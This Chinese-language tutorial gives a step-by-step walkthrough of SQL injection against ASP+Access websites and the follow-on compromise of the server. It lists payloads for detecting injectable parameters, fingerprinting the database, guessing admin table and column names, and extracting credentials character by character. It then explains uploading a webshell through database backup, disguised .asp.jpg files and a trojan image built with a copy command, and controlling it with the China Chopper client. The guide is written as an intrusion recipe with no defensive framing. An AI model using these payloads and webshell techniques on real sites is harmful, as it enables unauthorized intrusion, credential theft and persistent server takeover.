基础知识:ASP+MSAccess通常被用来开发简单的web应用程序,并在IIS上运行。较复杂的web应用程序则使用PHP+Mysql或者ASP+MSSQL开发。
判断是否为注入点:
通过添加单引号', 页面返回错误提示:Microsoft JET Database Engine 错误 ‘80040e14’
永真条件and 1=1和永假条件and 1=2
判断数据库类型:
内置变量判断数据库类型:
and user>0 //user是sql server的内置变量,字符类型为nvarchar 如与int比较 如果是sql server会直接报错,是Access会提示没有改变量
例如:Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'
[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。
内置数据表判断数据库类型:
and (select count(*) from sysobjects)>=0 //SQL Server的系统表为sysobjects,在web环境下可正常读取
and (select count(*) from msysobjects)>=0 //Access的系统表为msysobjects,在web环境下没有权限读取
猜表名:
and exists (select * from admin) //exists指定一个子查询,返回布尔型
and (select count(*) from admin)>=0 //count用于统计表中所有字段
猜字段名(用户名和密码字段):
and exists(select id from admin) //若表中存在id字段,则页面返回正常
and (select count(username) from admin)>=0 //表名猜出来后,将count(*)替换成count(字段名)
猜字段长度:
and exists (select id from admin where len(username)=5 and id=2)
and (select top 1 len(username) from admin)>4
and (select top 1 len(username) from admin)>5
猜字段数据:猜解Access只能使用ASCII逐字解码法
and (select top 1 asc(mid(username,1,1)) from admin)>0
and (select top 1 asc(mid(username,1,1)) from admin)<100
and (select top 1 asc(mid(username,1,1)) from admin)=50
例如:猜测md5密码为3995a800sd398d3d,然后对密码破解
寻找后台登录地址,登录后上传webshell:
一般后台都放在admin,message目录下,例如:http://www.baidu.com/admin/。可以使用猜到的账号和密码登录后台
导出数据库内容到文本文件:
select * into [test.txt] in 'd:\web\' 'text;' from admin //d:\web为网站路径
上传webshell:
前提条件:拿到管理员用户名和密码,进入后台才是一切入侵的基本条件。
进入后台后首先检查一下有没有数据库备份功能,假设有
方法1.上传一句话木马,将一句话木马写入数据库,备份数据库将一句话变成后缀为.asp文件,记录备份后的文件地址,然后通过客户端菜刀进行连接访问拿下webshell.
方法2.修改木马后缀名,将木马文件后缀名.asp改为.asp.jpg上传,记录文件上传路径,使用菜刀连接
方法3.构造asp图片木马:
1.构造木马图片,将数据库文件lubr.mdb插入到木马图片pic.jpg中,输出合成文件jim.jpg。例如:copy pic.jpg+lubr.mdb jim.jpg
2.上传木马图片,记录文件上传路径。例如:uploadfile/2017028.jpg;
3.客户端连接木马,使用中国菜刀。
SQL注入中的高效查询:
Order by猜字段数目:
order by 1
order by 2
Union select查询字段内容:
and 1=2 union select 1,字段名 from 表名